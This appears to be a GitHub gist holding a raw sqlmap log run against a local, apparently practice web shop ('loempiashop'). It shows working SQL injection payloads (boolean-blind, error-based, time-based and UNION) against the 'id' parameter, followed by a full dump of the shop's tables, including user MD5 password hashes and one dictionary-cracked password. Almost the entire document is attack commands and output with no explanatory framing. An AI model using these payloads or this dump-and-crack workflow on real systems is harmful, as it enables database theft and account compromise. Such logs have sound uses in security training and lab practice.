Skip to content

Instantly share code, notes, and snippets.

@LevitatingBusinessMan
Created October 8, 2024 14:15
Show Gist options
  • Save LevitatingBusinessMan/751c69bdeb5ff0958153153ffc729566 to your computer and use it in GitHub Desktop.
Save LevitatingBusinessMan/751c69bdeb5ff0958153153ffc729566 to your computer and use it in GitHub Desktop.
sqlmap op de loempiashop
$ sqlmap http://localhost/item.php?id=1 --batch --dump
___
__H__
___ ___["]_____ ___ ___ {1.8.8#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:13:36 /2024-10-08/
[16:13:36] [INFO] resuming back-end DBMS 'mysql'
[16:13:36] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ci5mbmjdt5k...ov9ukpsqar'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7185=7185
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 7692 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(SELECT (ELT(7692=7692,1))),0x7176627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3723 FROM (SELECT(SLEEP(5)))sFND)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-7900 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7671,0x425577686f56576576445047534b554d58584a4d796e6b637970727478416c4c4d4476464e495850,0x7176627871),NULL,NULL,NULL-- -
---
[16:13:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[16:13:36] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[16:13:36] [INFO] fetching current database
[16:13:36] [INFO] fetching tables for database: 'loempiashop'
[16:13:36] [INFO] fetching columns for table 'items' in database 'loempiashop'
[16:13:36] [INFO] fetching entries for table 'items' in database 'loempiashop'
Database: loempiashop
Table: items
[5 entries]
+----+--------------------+--------+----------------------+-----------+---------------------------------------------------------------------+
| id | image | price | name | visible | description |
+----+--------------------+--------+----------------------+-----------+---------------------------------------------------------------------+
| 1 | grote_loempia.jpg | 5.99 | Grote Loempia | 1 | Groter dan de kleine loempia |
| 2 | kleine_loempia.jpg | 3.99 | Kleine Loempia | 1 | Kleiner dan de grote loempia |
| 3 | party_schotel.jpg | 12.00 | Loempia Schotel | 1 | Een party schotel van wel 10 loempia's |
| 4 | vega_loempia.jpg | 4.99 | Vegetarische Loempia | 1 | Soortgelijk aan een kleine loempia, maar vegetarisch en dus duurder |
| 5 | coupon.jpg | -10.00 | 10 euro coupon | 0 | Met deze coupon in je winkelwagen krijg je 10 euro korting! |
+----+--------------------+--------+----------------------+-----------+---------------------------------------------------------------------+
[16:13:36] [INFO] table 'loempiashop.items' dumped to CSV file '/home/rein/.local/share/sqlmap/output/localhost/dump/loempiashop/items.csv'
[16:13:36] [INFO] fetching columns for table 'reviews' in database 'loempiashop'
[16:13:36] [INFO] fetching entries for table 'reviews' in database 'loempiashop'
Database: loempiashop
Table: reviews
[1 entry]
+----+------+--------+--------+------------------------------------+
| id | item | user | rating | comment |
+----+------+--------+--------+------------------------------------+
| 1 | 1 | 1 | 4 | Heerlijke loempia, lekker krokant! |
+----+------+--------+--------+------------------------------------+
[16:13:36] [INFO] table 'loempiashop.reviews' dumped to CSV file '/home/rein/.local/share/sqlmap/output/localhost/dump/loempiashop/reviews.csv'
[16:13:36] [INFO] fetching columns for table 'users' in database 'loempiashop'
[16:13:36] [INFO] fetching entries for table 'users' in database 'loempiashop'
[16:13:36] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[16:13:36] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/opt/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[16:13:36] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[16:13:36] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[16:13:36] [INFO] starting 16 processes
[16:13:39] [INFO] cracked password 'hunter2' for hash '2ab96390c7dbe3439de74d0c9b0b1767'
Database: loempiashop
Table: users
[3 entries]
+----+--------+---------+--------------------------------------------+
| id | name | admin | password |
+----+--------+---------+--------------------------------------------+
| 1 | rein | 1 | f96bce7f9bd6d1679af346077dcb364d |
| 2 | oscar | 0 | 0e348492516167418545313808687992 |
| 3 | arjen | 0 | 2ab96390c7dbe3439de74d0c9b0b1767 (hunter2) |
+----+--------+---------+--------------------------------------------+
[16:13:42] [INFO] table 'loempiashop.users' dumped to CSV file '/home/rein/.local/share/sqlmap/output/localhost/dump/loempiashop/users.csv'
[16:13:42] [INFO] fetched data logged to text files under '/home/rein/.local/share/sqlmap/output/localhost'
[*] ending @ 16:13:42 /2024-10-08/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment